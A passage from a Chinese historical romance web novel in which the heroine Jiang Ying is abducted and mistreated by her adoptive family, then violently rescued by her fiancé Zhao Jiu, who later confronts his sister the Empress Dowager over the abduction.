“你闭嘴。”姜璎冷冷道,“我算是看出来了,倒打一耙、满口谎言,是永安侯府祖传的本事。”
“你!”刘氏气得面色青白,这利索的嘴皮子,当真是可恨至极!要不是阿宝回来,她还要一直被她这老实模样蒙在鼓里!
姜宝瑜连忙扶着母亲,轻声细语道:“妹妹,养育之恩大过天,做子女的,就是父母有再多不是,也不能这样刻薄顶撞啊。”
自古以来,孝道便尤为重要。
姜宝瑜一番话,引来不少病患侧目,纷纷点头。
第37章 绑架
姜璎依旧是那副油盐不进、软硬不吃的表情。
“你们一直跟踪我,到底想做什么?”
“妹妹,你误会……”
“够了。”
姜璎觉得自己已经到了一种听见姜宝瑜声音就生理性恶心的地步,她轻轻呼吸,压住那股反胃的冲动,冷冷道:
“莫非是永安侯府入不敷出,你们想让我从卫国公府偷窃财物?”
“你胡说八道什么?!”刘氏脸色一阵红一阵白,尤其是感受到周遭异样的目光,更是恨不得找个地洞钻进去!
这个臭丫头,当她做什么来打秋风的乡下人吗?!
姜璎是故意为之,她知道刘氏好面子,所以才会说这种话。
“不是想要钱,你们跟踪我做什么?”
“妹妹,你真的误会了。”姜宝瑜站出来道,眼神温柔又无奈,却只字不提跟踪二字,“阿娘听说卫国公府最近的事情,特别担心你。”
姜璎面无表情。
刘氏的一颗心都在姜宝瑜身上,除非她有什么利用价值,否则又怎么会想起她?
至于担心,更是无稽之谈。
姜宝瑜将碎发别在耳后,温柔道:“妹妹,你还小,不明白爹娘对你良苦用心,即便你在外头做了错事,可家里依旧还是挂念你的。”
刘氏忍着怒气,道:“你给卫国公府惹了那么大的麻烦,还有脸呆在那?传出去,都说是我教女不贤!跟我回家。”
原来是又想逼她回去。
香薷香附等仆婢挡在姜璎面前,香薷礼貌中含着一丝警告道:“刘夫人,您怕是忘了,太后娘娘有懿旨,姑娘和九郎成亲之前都是要住在卫国公府的。”
刘氏冷笑一声,“你有脸待在卫国公府,我可没脸!”
她忍不住道:“我究竟是造了什么孽,才会养出你这么个败坏门风的东西,把你捡回来好吃好喝养着还不够,还要害我们全家跟你一起丢脸!就因为你,永安侯府现在不仅要面对将军府的迁怒,还要受太后娘娘问责!”
越想越气,刘氏悲从中来,悔不当初。
“我们当初怎么会捡了你这样一个灾星回来?”
“刘夫人,话可不能乱说!”香附气呼呼道。
姜宝瑜也拉了拉母亲的袖子,软声劝和道:“阿娘别生气,妹妹也不想事情闹成这个样子的。”
说着转头看向姜璎,哀求道:“妹妹,你就听话一些,和我们一起回去吧。不然......”她脸上露出了为难的神色,“我们会很难做的。”
姜璎听到这话,心中隐隐不安,抿了抿嘴问:“你什么意思?”
姜宝瑜望着她,眼中浮现一丝怜悯,温声细语道:“妹妹,我们是一家人,自然是希望你越来越好。可是有人不想你留在卫国公府,这才让阿娘来领你回家。”
顿了顿,她似劝慰道:“你放心,只要你学好规矩礼仪,就还是能嫁给赵九郎君的。”
香薷和香附对视一眼,心中直打鼓。
什么意思?
难道是太后娘娘的吩咐,让刘氏母女来带走姜璎?
那怎么能行!
香薷低声道:“姑娘,时辰不早了,咱们还是快回去吧,可不能听信别人胡言乱语。二夫人还等着您的香囊呢。”
姜璎回过神来,杂乱无章的心绪忽然一扫而空。
没错,除非太后娘娘亲自下旨,否则,她绝不能相信姜宝瑜的话!
回永安侯府是个什么下场,姜璎比任何人都清楚。
仆婢们围着姜璎,香附毫不客气撞开姜宝瑜,“好狗不挡道,让开!”
刘夫人气疯了,“你这贱婢!”
“阿娘。”姜宝瑜摇了摇头,很是宽容大度,“不要紧的。”
她望着姜璎的背影,唇角微微扬起。
反正,也得意不了多久了。
香薷还在安慰姜璎,“姑娘,你别信她们的鬼话,奴婢先前听九郎说,太后娘娘对这门亲事十分满意——啊!”
走到门口之时,忽然一大帮子人涌了过来。
臭烘烘、乱糟糟的乞丐,推搡间破口大骂。
“让老子先进去,老子腿疼!”
“你挤什么!给我滚开!”
“哎哟,哎哟!这些小娘子身上真够香的!”
仆婢被冲散,家丁同他们推搡,“干什么!干什么!”
香薷惊声道:“不要同他们纠缠!姑娘,快找姑娘!”
家丁一把扭断一个乞丐的胳膊,将人狠狠摔在地上,凶恶的手段顿时吓住了其他人。
然而,好不容易从混乱中抽身。
香薷等人左右张望,都没有发现姜璎的人影。
“姑娘......姑娘失踪了!”香薷哑声道,脸上一片绝望。
完了。
这是所有人心里的想法。
要是让九郎知道他们弄丢了姑娘,他一定会疯的!
而他们,恐怕也不用活了。
香薷打了个寒颤,努力稳住阵脚,留下大半家丁继续寻找,又让香附盯着刘氏母女,自己则赶回去同王氏禀报。
在香附的目光下,刘夫人和姜宝瑜面无异常地上了永安侯府的牛车。
帘子掀开,里头什么都没有。
香附面色苍白,不是她们,那还有谁?
是谁带走了姑娘?
一个转弯,被严严实实藏在车厢暗格里的姜璎猛地撞向木板,顿时额头青红一片。
混沌的神智逐渐苏醒。
暗格狭窄逼闷,姜璎的嘴巴被一块粗布堵得严严实实,手脚也被绑了起来,根本无法发出丝毫动静。
当时混乱之中,一双大手死死用粗布捂住姜璎口鼻,几乎顷刻之间,便让人陷入昏迷。
姜璎心中一沉,没有做任何无谓的挣扎。
不知道过了多久,牛车终于停下。
车厢暗格打开,光亮刺眼的同时,姜璎被两个手劲儿很大的婆子给拖了出来。
“看什么看?”
一巴掌扇过来,姜璎顿时一阵耳鸣。
婆子们拽着她往后门进去,口中发出毫不客气的讥笑。
“有些人真是不知道天高地厚,总想着飞上枝头变凤凰!”
“真该给她一面镜子,照照自己如今死狗一样的丑态!”
姜璎被扔进了柴房。
整个人摔在地上,全身上下都疼得不行。
她喘了口气,抬头看了一眼。
果然,是熟悉得不能再熟悉的地方。
吱嘎一声。
老旧的木门被推开。
姜宝瑜站在外头,衣不染尘,笑意盎然。
“妹妹,你这是何苦呢?”她摇了摇头,如此感叹道。
第38章 扒光
姜璎定定地看着姜宝瑜,一股疲惫蔓延全身,说不出是什么滋味。
“你为什么总是不肯放过我?”她低声道,语气充满自嘲,她以为姜宝瑜心知肚明,她从来没有抢走她任何东西。
她在永安侯府,甚至连一个正儿八经的替身都算不上。
“踏踏”的木屐声由远及近。
姜宝瑜走进来,依旧是那种怜悯的眼神,温柔道:“妹妹,我听不懂你在说什么。”
“不要装模作样了!”看到她这样,姜璎顿生无名火,咬着牙道,“你有什么不敢承认的,还是说厌恶我,对你而言其实是一件耻辱的事情吗?!”
姜宝瑜似乎被吓了一跳,身子一晃摔在地上。
“姑娘!”
“阿宝!”
浮叶和刘氏的声音一前一后。
姜宝瑜面色微白,捂着心口,哽咽道:“妹妹,你真的误会我了,我从来没有厌恶你……”
姜宝瑜眼中浮现一丝水光,像是极力忍着泪水。
顿时,刘氏脑海里那根名为理智的弦被人扯断,她怒气冲冲地甩了姜璎一耳光!
啪地一声,清脆无比。
“我还没来得及跟你算账,你倒先欺负起阿宝来了!”刘氏怒道,“睁大眼睛看清楚,这是永安侯府!谁给你的胆子,在我家里还敢对我女儿耍威风?
“阿娘。”姜宝瑜搂着母亲的腰,轻轻抽噎道,“你别怪妹妹了,可能是带她进来的下人粗手粗脚,弄疼了她……”
刘氏这才注意到,被自己打过的那一边脸颊红肿得不像话。
她力气没那么大,显然,在来柴房之前,姜璎受了欺负。
刘氏余怒未消,冷声道:“她自己活该!跟你有什么关系?别以为我没听见她说的那些话!”
姜璎脸颊发麻,一片火辣辣,她扯了扯嘴角,一字一句道:“我是良籍,不是你们永安侯府的奴仆。刘夫人,私自掳人是犯法的。”
刘氏冷笑一声,“你还知道你是良籍,当初要不是祁儿把你捡回来,你现在还不知道在哪儿接客呢!”
接客……
这样低俗的言辞,竟然会从彭城刘氏的贵女口中说出。
姜璎有种恍惚而割裂的感觉。
刘氏却越说越气,“救命之恩,你不想着回报也就算了,还给家里惹出这么大的麻烦!你怎么有脸质问阿宝?”
“我告诉你,要不是阿宝一个劲地在太后娘娘面前替你求情,你这样的祸害灾星,早就被赐死了!”
姜璎猛地抬头,“你胡说。”
赵咎说过,太后娘娘一向宽容和善。
他不会骗人的。
所以就算太后娘娘再不喜欢姜璎,也顶多将她送到庄子上打发远远的,绝不可能直接给人赐死。
姜宝瑜见姜璎毫不动摇,指甲无声无息陷入掌心。
“妹妹,你到现在还不明白吗?如果不是太后娘娘的授意,我们又怎么会出此下策,将你带走?永安侯府将你养大,无论如何都不会害你的。”
“那可说不准。”姜璎冷冷道。
语气就像茅坑的石头——又臭又硬。
刘氏见状,才平息的怒气又去而复返,她以为她是谁?就算是卫国公世子夫人,都不敢在她家里这么跟阿宝说话!
刘氏早就习惯了姜璎的顺从,如今她浑身带刺,自然看她哪哪都看不顺眼。
姜宝瑜乖巧道:“阿娘,你别生气,气坏身子不值当。”
浮叶却忿忿道:“夫人,您也看见了,从前二姑娘就是这样欺负我们姑娘的!您还在这呢,她就敢这样放肆,您不在的时候,就别提有多过分了!”
姜璎面无表情。
尽管一身狼狈,疼痛无比,也依旧浑身带刺,说不出半句软话。
典型的三棍子也打不出一个闷屁。
姜璎以前还会反思自己性格不讨喜,不怪大家更喜欢姜宝瑜。
但现在,感受过卫国公府的温暖,她再也不会去贪恋不属于自己的东西。
至于浮叶的诬陷,她没什么好说的。
就算说了,也不会有人相信。
这样的沉默寡言,落在刘氏眼里,就是坐实了浮叶所说。
“好、好得很!”刘氏恨恨道,心中油然而生浓浓失望,“姜璎,我一直以为你话少人老实,没想到是我看走了眼,反而让阿宝在我的眼皮子底下受了那么多委屈!”
姜璎一只耳朵进,一只耳朵出。
她再也不会因为他们的误解而伤心了。
此刻满脑子都是卫国公府。
世子夫人还在养胎,她好端端的消失不见,平白又给大家添了不少麻烦。
二夫人会不会自责?明明是她自己不当心。
还有赵九郎君……
姜璎有点害怕他生气的模样,香薷香附她们会因为她而受罚吗?
“妹妹。”姜宝瑜看出她在走神,脸上明明柔和无比,但眼中却没有丝毫笑意。
“你是在想着怎么离开永安侯府吗?”
刘氏皱了皱眉,想到太后娘娘的怒斥,厉声道:“你赶紧给我死了那条心!从今日开始,好好跟着阿严学规矩,什么时候学好,什么时候出去!”
严嬷嬷走出来,一双狭窄而细长的眼睛泛着冷光。她是刘氏的陪嫁,这些年来,一直是她给姜璎灌输孝道。
看到这张脸,姜璎顿时打了个寒颤。
姜宝瑜像是想起什么,迟疑道:“阿娘,妹妹在卫国公府住了那么久,会不会已经……”
令人头皮发麻的感觉又来了。
欲言又止、引人想入非非。
刘氏面色微变,狠狠剜了一眼姜璎,从牙齿里挤出声音道:“阿严,你给我扒光她的衣服,好好检查!”
私相授受,无煤苟合。
他们永安侯府的脸面都要被丢尽了!
听到“扒光”二字,姜璎脸上的冷漠再也维持不住,眼神闪过一抹慌乱。
姜宝瑜嘴角微微上扬,安慰道:“妹妹,你别担心,只是稍微检查一下……毕竟,你也知道,永安侯府是有头有脸的人家,绝不能做出那种丑事。”
姜璎道:“我没有!”
刘氏见她态度坚决,动摇了一瞬。
浮叶抢话道:“有没有检查一二就知道了,这也是为了二姑娘清白着想!”
刘氏一想也是,“阿宝,我们走吧。”
姜宝瑜摇了摇头,柔声道:“阿娘,你先去吧,我在这陪陪妹妹,免得她害怕。”
刘氏恨铁不成钢道:“你啊,就是太心软了!”
姜宝瑜娇憨一笑,看着姜璎,“毕竟,我们也是姐妹啊。”
轻飘飘的语气,让人毛骨悚然。
俗话说得好,软刀子磨人。
姜璎不怕挨打,但看着刘氏毫不犹豫的离开背影,心中生出一丝绝望。
第39章 毁容
严嬷嬷朝着姜璎走过来,蒲扇般的大掌给人难以言说的压迫,她一动不敢动,直到身上的麻绳被粗暴扯开。
手脚得到解放。
姜璎努力平稳呼吸,眼看严嬷嬷的手就在落在衣襟上,她找准机会铆足劲儿一脑袋撞在她胸口!
本就是极其脆弱的部位,姜璎又是拼尽全力,严嬷嬷防不胜防,沉甸甸的胸脯骤痛无比,几乎站不直身体。
姜璎丝毫不敢迟疑,立刻往外跑。
“姜璎!”
一旁的姜宝瑜瞠目结舌,脱口而出也不再是一贯惺惺作态的称呼,她伸手死命拽住姜璎,绝不能给她机会逃跑!
“滚开!”积攒了许久的愤怒在此刻爆发,姜璎想也不想甩了她一巴掌。
毫不留情。
连带着自己的手都红了一片。
许是柔弱惯了,姜宝瑜还真就被这一巴掌扇倒在地,发出一声惨叫。
好在浮叶等下人守在门口,见此情形连忙围上来,三四个人对付姜璎一个可谓是轻而易举,浮叶机灵,还不忘把柴房的门锁上。
“把她给我抓过来!”姜宝瑜死死咬着牙,眼神中流露出一丝怨毒之色。
不过就是阿兄捡回来的一个替代品,竟然也敢对她动手?!
严嬷嬷这会儿也恢复过来,忍着胸口的疼痛,走到姜璎面前,一把拽过她的头发,将她拖到稻草堆上!
她是刘氏身边的老人,一向教导姜璎要贞静柔顺,可与之相反,只要姜璎有半点不对,那双大手便会毫不迟疑落下。
粗暴凶恶得完全不像是彭城刘氏出来的下人。
“二姑娘,奴婢以前是怎么教你的?别敬酒不吃吃罚酒!”
姜璎头皮一疼,仿佛天灵盖都被打开,后背冷汗直冒。
姜宝瑜走到她面前,深呼吸道:“妹妹真是好大的力气。”
她看了一眼严嬷嬷,后者点了点头,只听见呲啦——一声,外衫撕破。
“不……”恐慌蔓延全身,姜璎试图挣扎,又被无情镇压。
严嬷嬷撕扯着姜璎的衣衫,强硬地掰开她的双腿,就要进行检查。
“妹妹,只要你乖乖认错,保证日后一定听话,我也不是不能原谅你。”
姜宝瑜居高临下望着她,微微抬脚,眼看就要碾在姜璎手上。
“大姑娘!”
惊恐的声音响起,一个奴仆在门外哆哆嗦嗦道,“不好了,不好了!国舅爷、赵九郎闯进来了!”
什么?
浮叶想到了先前常无忌从卫国公府抬出来的传闻,不禁面露恐惧,“姑娘,咱们赶紧逃吧……”
话未说完,便听见一声惨叫。
哐当——!
巨大的声响中,木门轰然倒地。
灰尘漫天飞扬,柴房里的人一边挥手一边忍不住扭头咳嗽起来。
好不容易灰尘少一点,可以睁开眼睛,就见少年站在面前,一身黛色箭袖长袍,眉眼如刀,含着肃杀气息。
这要是平时,永安侯府的人看见赵咎,早就讨好上前,但现在……跟看见鬼又有什么区别?!
“赵、赵九郎。”严嬷嬷强挤出一个笑容,却忘了她的手里还攥着姜璎的头发。
赵咎的目光往下。
严嬷嬷心里发虚,不由自主地松开了手,正要张嘴解释,忽然眼前一花,胸口骤痛!
其他人甚至都还没看清赵咎的动作,就见严嬷嬷整个人飞了出去,重重砸在柴堆上!
“姑娘快跑!”
姜宝瑜被推得差点一个趔趄栽了跟头。她不敢迟疑,迅速往外跑。
有浮叶等人挡着,她肯定能跑出去……
“啊!”
头皮骤然撕扯,姜宝瑜疼的眼前一黑,泪水止不住地往下掉。
那头日日精细保养的长发此刻落在赵咎手里。
他稍一用力,姜宝瑜就被拖拽回原位。
“想逃?”
发丝缠绕手掌,一圈,两圈,三圈。
寒光乍现。
姜宝瑜尖叫着闭上眼睛!
“不要杀我!”
随着话音落地,脑袋一轻。
姜宝瑜引以为傲的长发被削去大半。
赵咎满脸嫌恶地扔掉了手里的头发,匕首转了个方向,贴在姜宝瑜的脸蛋。
“阿池。”他转头看向姜璎,询问道,“是她打得你?”
姜宝瑜浑身发抖,苦苦哀求:“不、不是我。”
刀尖对准时,赵咎心平气和道:“是谁不重要。”
“不、不!”
凄厉的惨叫声中,刀尖从上而下划至下巴。
鲜血淋漓。
“归南。”
外头进来一个人,赵咎把沾了血的匕首扔给他,吩咐道:“给我弄干净了。”
归南低头道:“九郎放心。”
赵咎擦了擦手,走到姜璎面前,半蹲下身,替她整理好没有被损坏的内衫,动作是前所未有的轻柔。
姜璎怔怔地看着他,脸上不知不觉都是泪水。
“对不起……”她小声道,声音是藏不住的哽咽。
“哭什么?”
赵咎喉咙微微干涩,眼尾泛着一抹不易令人察觉的潮红,他将人抱在怀里,低头亲了亲她的眉心,温声道:“没事了,我们回家。”
回家。
姜璎埋在赵咎怀里,终于忍不住抽泣出声。
刘氏等人终于赶到,看见倒在地上,满脸鲜血的女儿,刘氏几乎眼前一黑,差点昏过去!
“阿宝!”
“赵咎!你、你竟敢如此肆意妄为!”
赵咎冷冷看她一眼,“刘氏,你私自劫掳我的未婚妻,按照大魏律法,你就等着大理寺传唤吧!”
刘氏面色一白,强装镇定道:“赵九郎,阿池是我的养女,我是奉太后娘娘的命令,将她带回来悉心教导,你凭什么……”
赵咎冷笑一声。
刘氏的话说不下去了,浮叶哭着道:“夫人!您快来看看姑娘啊!”
赵咎抱着姜璎,将她挡着严严实实,“睡吧,醒来就到家了。”
经过刘氏身边,他看了归南一眼。
归南默不作声,从袖子里弹出一粒小石子。
去吧!
刘氏顿时膝盖一疼,痛呼声中,一把跪摔在赵咎和姜璎面前。
赵咎笑了一下,宽容道:“刘夫人不必跪送。”
刘氏恨的眼睛都红了!
欺人太甚,简直欺人太甚!
赵咎来去匆匆,进出永安侯府如入无人之境,竟无一人敢阻拦半分。
归南尾随其后,十分自觉充当车夫,在尽可能保证平稳的情况下赶回卫国公府。
第40章 自我
“回来了,终于回来了!”辛夷得知消息,连忙告诉了房里的两位夫人。
王氏松了口气,郑氏喃喃自语:“真是老天保佑,万幸万幸。”
要不然,还不知道赵咎能干出什么事情来!
“夫人,九郎把人带回了自己院里。”辛夷欲言又止,委婉道,“这会不会于理不合?”
王氏摆了摆手,“随他去吧。”
这臭小子连当街抢亲的事情都做了,也不差这一件两件了。
内宅向来外男止步,赵咎不好日日进出王氏的院子,便干脆直接将人带回蓼莪院。
时间仿佛倒流回了抢亲那一日。
只是不见香薷香附等人,看病的医官也换成了一位女医。
姜璎在赵咎怀里昏昏沉沉睡了半晌,但当身体一接触到床榻,还是不受控制一个惊醒。
她脸上惊惶尚未褪却,醒目的巴掌印无时无刻不在提醒着赵咎今日发生的一切。
“赵……九郎君?”
赵咎“嗯”了一声,声音尽可能地放轻:“阿池,我们到家了。”
姜璎眼中的茫然逐渐消散,她像是想起什么,抓住赵咎的袖子,道:“赵九郎君,你还记得我之前跟你说的,永安侯府一直派人盯着我的事情吗?”
赵咎颔首,“记得。先前那几个人已经被送到牢里,至于这回……”
他安抚地摸了摸姜璎的脑袋,眼底划过一抹杀意。
想赚这个钱,就要做好粉身碎骨的准备。
之前姜璎没有受伤,赵咎也就轻拿轻放,让人判了他们一个流刑。
如今看来,倒是他心慈手软,太好说话,才会让人一而再再而三地得寸进尺,挑战他的底线。
姜璎松了口气,一脸严肃道:“世子夫人这一胎尚未坐稳,又没有找到幕后的下毒之人,难保这群盯梢的人不会发现蛛丝马迹……”
赵咎打断道:“你先管好自己。”
姜璎看着他的脸色,心虚地“哦”了一声。
抓着袖子的手没有松开。
“赵九郎君。”她鼓起勇气,“香薷香附她们——”
“阿池。”
姜璎噤声。
赵咎淡淡道:“我现在心情不好,什么该说,什么不该说,你应该清楚。”
姜璎脑海空白一片,不知道该说什么,最后慢慢低下头,像个做错事情的小孩,讷讷道歉:“对不起。”
“对不起什么?”
姜璎耷拉着脑袋,小声道:“我又给大家添麻烦了。”
赵咎静静地看着她,问:“你是自愿跟他们走的么?”
姜璎霍然抬头,凤眸微微睁圆,着急地解释道:“不、不是的!我本来已经准备回来,结果到了门口……”
“既然不是你的错,那就没什么好对不起的。”赵咎打断道。
很快医女来了。
赵咎估摸着皮外伤不止一两处,还是全部检查一遍来得放心。
至于为什么不喊刑如风?
赵咎是疯了才会把媳妇儿脱光给别的男人看!
检查的功夫,赵咎站在廊下等候。
内室只留下医女和四个仆婢。
衣衫揭开,姜璎别过脸去,她向来是能忍疼的,即便是上药也都一声不吭。
这一忙活竟过去半个时辰。
医女退出去,跟赵咎禀报。
“姜姑娘身上有多处青紫磕碰,手肘擦破了皮,后背也磨红大片……至于脸上,您也瞧见了,红肿得不像话,怕是起码得两三日才能消去印子。”
赵咎深吸一口气,“你跟着归南去找邢医官,需要什么药只管问他拿。”
医女恭敬称是。
赵咎进去时,姜璎已经上好药,换了身干净衣裳。
她后知后觉反应过来这是蓼莪院,连忙道:“赵九郎君,我该回去了。”
“你以后就住这。”赵咎道,语气不容置疑。
过来看望姜璎的王氏和郑氏正好听到这句话。
“阿劫。”王氏走进来,不赞同地看了一眼赵咎。其他也就罢了,让一个未婚姑娘住在他的院子里,像什么样子?
赵咎丝毫不退让,他不会再让姜璎离开他眼皮子底下。
“蓼莪院给她住,我去别的院子。”
“你……”郑氏连忙拉了一下王氏,笑着道,“大嫂,我看这样也挺好的,左不过没几个月就要成婚了,早住晚住不都是一样吗?”
“不行!”王氏瞪了郑氏一眼,先前到底是谁说不能惯着阿劫?
郑氏悻悻然,心虚地挪开目光。
“那让阿池自己选,她想住哪儿就住哪儿。”
话音刚落,王氏和赵咎齐齐看向姜璎。
“你住蓼莪院。”赵咎道。
“不许胡闹!”王氏斥了一句,目光落在姜璎脸上,忍不住心疼道,“阿池,你受委屈了。”
“不委屈。”姜璎摇了摇头,眼眸亮晶晶,“赵九郎君已经帮我报仇了!”
虽然,手段略显凶残。
但姜璎却感受到了前所未有的安全感。
是难以描述的踏实和安心。
姜璎在心里暗暗发誓:她这一辈子绝不会背叛赵九郎君!他让她往东,她绝不往西!只要是她能做到的,一定照办不误!
郑氏心里颇为内疚,叹了口气道:“都是我不好。”
要是她不问姜璎拿香囊,她也不会兴致勃勃地出去买中药,如今落得一身伤,好好的漂亮脸蛋成了这样,郑氏痛心无比。
“阿劫,我知道你心里不好受,但阿池不能住在蓼莪院。”王氏和赵咎去了外头说话,她叹了口气道,“就算你们马上就要成亲,可你不能不顾忌她的声誉。”
“再过不久,父亲还有你大兄他们就要回来了,你难道想让他们误会阿池的品性?”
一句话戳中赵咎的软肋。
很多东西,他可以不在乎,但不能强迫姜璎也不在乎。
“你不能打着为阿池好的旗号,做一些她不愿意的事情,这样你和永安侯府的人又有什么区别?”王氏语重心长道,“退一万步来说,就算阿池毫无意见,你说什么她就做什么,可正因如此,你不觉得才更可怕吗?”
赵咎是王氏看着长大的,说是小叔子,其实跟儿子也没什么两样了。
王氏清楚他的秉性,自然不希望他误入歧途。
爱一个人,自然是希望她千好万好,而不是失去自我。
第41章 狡辩
赵咎自从王氏离开就一直是心不在焉的状态,像是受了什么打击,连说话也提不起兴致。
姜璎想跟着王氏她们一起回后院,又觉得一声不吭离开未免太不礼貌,于是小心翼翼唤了一声:
“赵九郎君。”
赵咎瞥她一眼,不咸不淡道:“走吧,送你回去。”
没想到他主动提起,姜璎不免有些惊喜。
她还惦记着香薷香附她们,眼看着赵咎这里行不通,她只能去求世子夫人了。
正想着,赵咎忽然停下脚步,转过身来。
姜璎一时不察,再想刹住已然来不及,一脑袋直直撞在他胸膛,鼻子一疼,泪水控制不住往外冒。
赵咎被吓了一跳,那点儿小情绪顿时烟消云散,他捧着姜璎的脸,“别动,我看看撞得怎么样了。”
姜璎一动也不敢动,满脸紧张:“没、没事吧?”
赵咎一脸严肃道:“有事,流了好多鼻血。”
姜璎下意识捂住鼻子,原以为会摸到一手血,结果......
什么也没有?
再看赵咎,他已经背过手去,毫无愧疚之意,“骗你的。”
姜璎也不敢说什么,只干巴巴憋出一句:“这、这样啊。”
许是有些无措,她默默低下了头,忍不住开始胡思乱想。
赵咎不是顽劣的性子,他这么做,是不是因为还在生气?毕竟她已经不止一次给大家带来麻烦,是个人都会心里不爽......
“为什么不说话?”头顶响起赵咎的声音,他微微皱眉,不悦道:“别人戏耍你,你都不会生气的吗?”
“你脑子里到底在想什么?”
“在想你啊。”姜璎脱口而出。
空气静了一瞬。
姜璎意识到自己说错了话,连忙要解释,“我、我的意思是......”
赵咎咳了一声,面色微微泛红,有些许不自然,打断道:“别说了,走吧。”
心里却忍不住腹诽:明明这么会拿捏人,大嫂还担心他会强迫姜璎做不愿意的事情,真是杞人忧天!
姜璎还不知道发生了什么,就见赵咎的心情莫名其妙有所好转。
她默默感叹,这难道就是二夫人口中所说的,男人心,海底针?果真是名不虚传啊。
很快到了王氏的院子。
赵咎叮嘱道:“我进宫一趟,要是回来的晚,就别等我一起用膳了。”
姜璎乖巧点头。
一墙之隔,屋里头的人都快笑抽过去。
郑氏嘲笑道:“还别等他一起用膳,阿池什么时候等过他了?”
王氏嫌弃道:“真是狗皮膏药成了精,黏糊得不行。”
妯娌俩一个比一个嘴毒。
这还没成亲呢,就各种主动报备,这要是等成了亲,不得把人挂裤腰上随身带着?
没眼看!真是没眼看!
另一边,赵咎赶在宫门下钥前进了宫。
将军府的事情还没解决好,永安侯府又跳出来蹦哒个没完,赵咎不觉得自己有做错什么,手伸太长就要做好被砍的准备!
不过他还是先去了陛下那通了个气儿。
大外甥很给面子,飞过来一只青瓷盏,“你滚!”
赵咎身姿矫健躲了过去,看着一地碎片,面不改色道:“遵旨。”
他没有直接出宫,而是转了个道往太后娘娘的长乐宫走去。
宫人都识得他,一个个恭敬行礼。
还未踏足长乐宫,便已经有人给太后娘娘通风报信。
“九郎过来了?”铜镜倒映出女人绰约多姿的身影,赵家人一脉相承的杏目微微眯起,细纹若隐若现,却并未有损高贵凤仪。
贴身女官欲言又止,担心道:“是不是因为姜氏女的缘故?”
提到姜璎,太后娘娘脸上一闪而过厌恶之色。
也不知道是哪里来的狐媚子!天生惹事精!
不过短短几月,就给卫国公府惹出这么多的麻烦,真不知道阿劫看中她哪里?!
“给赵九郎君请安。”外头响起宫人行礼问安的声音。
外男不得入后宫,这是历来的规矩。
但赵咎身份特殊,不仅是太后娘娘的嫡亲幼弟,还与陛下自小一起长大,可谓是亲同手足。
这天底下最尊贵的两个人都没说什么,其他人自然不会不长眼拿这点小事得罪赵家。
赵咎见了长姐,低头行礼道:“臣参见太后娘娘,娘娘千岁千岁千千岁。”
“行了,难得见你这么规矩。”太后娘娘支着下巴,微微一笑,“说罢,这次又有什么事儿求我。”
她没喊起,赵咎干脆也就跪着说话。
“娘娘慧眼过人。”先是奉承了一句,而后话锋一转,“臣确实有事儿求您。”
“你说。”
赵咎道:“还请娘娘高抬贵手,放阿池一条生路。”
听到这话,宫人们冷汗涔涔,默默退下。
太后娘娘脸上挂着若有若无的微笑,淡淡道:“我看你是失心疯了,一天到晚净说些胡话。”
“娘娘扪心自问,失心疯的是我吗?”
“你什么意思?”
赵咎嗤笑一声。
太后娘娘冷眼看他,随着他这一声笑,平静之色终于破裂,右手重重地拍在案牍上,腕上的翡翠玉镯应声而断。
“娘娘!”女官惊呼一声,忙上前小心捧起太后娘娘的右手,幸而没有划破手腕,她松了口气,将断掉的玉镯取下用帕子包好。
“你看看你像什么样子!竟然为了个女人来同我顶嘴?”太后娘娘怒气冲天,心里越发不待见姜璎,这种女人娶回家有什么用?惹事生非吗!
赵咎冷冷道:“阿姐不喜欢她,大不了我日后不带她入宫见您,何必非要她死不可?”
这话说的有点严重了。
太后娘娘忍着怒气道:“我什么时候......”
赵咎打断道:“永安侯府的刘氏已经说了,受您指使,强行派人掳走阿池!她不过是出门采买中药给大嫂二嫂制香囊,有什么错让您非要逼死她?!”
“我没有!”太后娘娘没想到事情会闹到这个份上,难免有些心虚。
赵咎冷笑道:“她被永安侯府一家下药替嫁的事情,您不是不知道!被带回能有什么好下场?我若是再晚一步,她便没了性命,阿姐就等着看我孤苦终老,一生无妻吧!”
太后娘娘又急又气,“阿劫!你给我站住!”
赵咎停下脚步,等着长姐的解释。
承认是不可能承认的。
她可没有亲口吩咐刘氏做出掳人的事情!
太后娘娘胸口不断起伏,努力放柔声音道:“你听我说,这就是个误会......”
第42章 噩耗
赵咎听完,微微挑了下眉梢,“阿姐的意思,这一切都是刘氏母女自作主张?”
“你这是什么眼神?”赵太后没好气道,“我是你长姐,你不信我,难道还要去相信一个外人说的!”
郑女官端来两盏茶,笑着缓和气氛,“九郎,那刘氏是什么人,你也是再清楚不过,他们的话怎么能信呢?”
“是吗?”
轻飘飘的语气,让赵太后不禁有些恼怒,冷冷道:“我让刘氏回去好生反省,没想到她竟然做出如此龌龊的事情!”
办事不力也就罢了,还敢栽她头上!
得亏她凡事多留了个心眼,要不然,他们姐弟之间岂不是要生出难以修复的裂痕?
“这个刘氏,简直居心叵测!”赵太后恨恨道。
赵咎眼神阴鸷,香薷回来报信时,恰好他回到家中,他不敢想象晚一步会有怎样的后果。
如果没有人猜到,或者就算猜到也不愿意为了姜璎直闯永安侯府,那么等待姜璎的,就是无尽的折磨和羞辱。
她那种性子,怎么能承受得了?!
青筋暴起,不过顷刻间,手中茶盏应声而碎。
“阿劫!”赵太后被吓了一跳,愣愣地看着弟弟鲜血淋漓的手。
一时之间,殿内鸦雀无声。
赵咎松了手,面无表情地把扎在手心的茶盏一片一片剥离出来。
郑女官反应过来,连忙让人取来伤药。
“你、你这是做什么!”赵太后又急又气,起身过来要亲自给赵咎包扎伤口,却被他躲开。
赵咎用帕子随意包扎了一下,淡淡道:“今日是我鲁莽了,冒犯娘娘,还请娘娘见谅。”
赵太后皱眉,“你还是怨我?”
“臣不敢。”
赵咎顿了一下,嘴角微微上扬,笑意森然,“正所谓冤有头债有主,刘氏母女掳人在前,污蔑娘娘在后,我自然不会轻易放过她们。”
赵太后惊疑不定,“你做了什么?”
赵咎掸了掸衣袍,答非所问道:“几年前,我同阿池在万业寺有过一面之缘,那时我知身份悬殊,便不敢打扰分毫。熟料一朝执念成魔,夜有所梦,梦见她被永安侯府下药逼嫁,惨死常六之手。”
“这也是为何,娘娘怪我出尔反尔,把料理水患的差事推给二兄的原因。”
赵太后不相信,“这不过一个梦,你……”怕不是在骗我吧?
赵咎想到什么,低头笑了一下:“娘娘以为阿池勾引我,其实不然,她一向恪守本分,恨不得方圆十里都没有外男才好。”
“我倒巴不得她对我殷勤一些,然而事实,却是我强求的这一切。”
“我卑劣不堪,靠着救命之恩让她对我信赖非常,敬慕难当。娘娘知道这点喜欢有多么来之不易吗?我小心再小心,只等着成亲。”
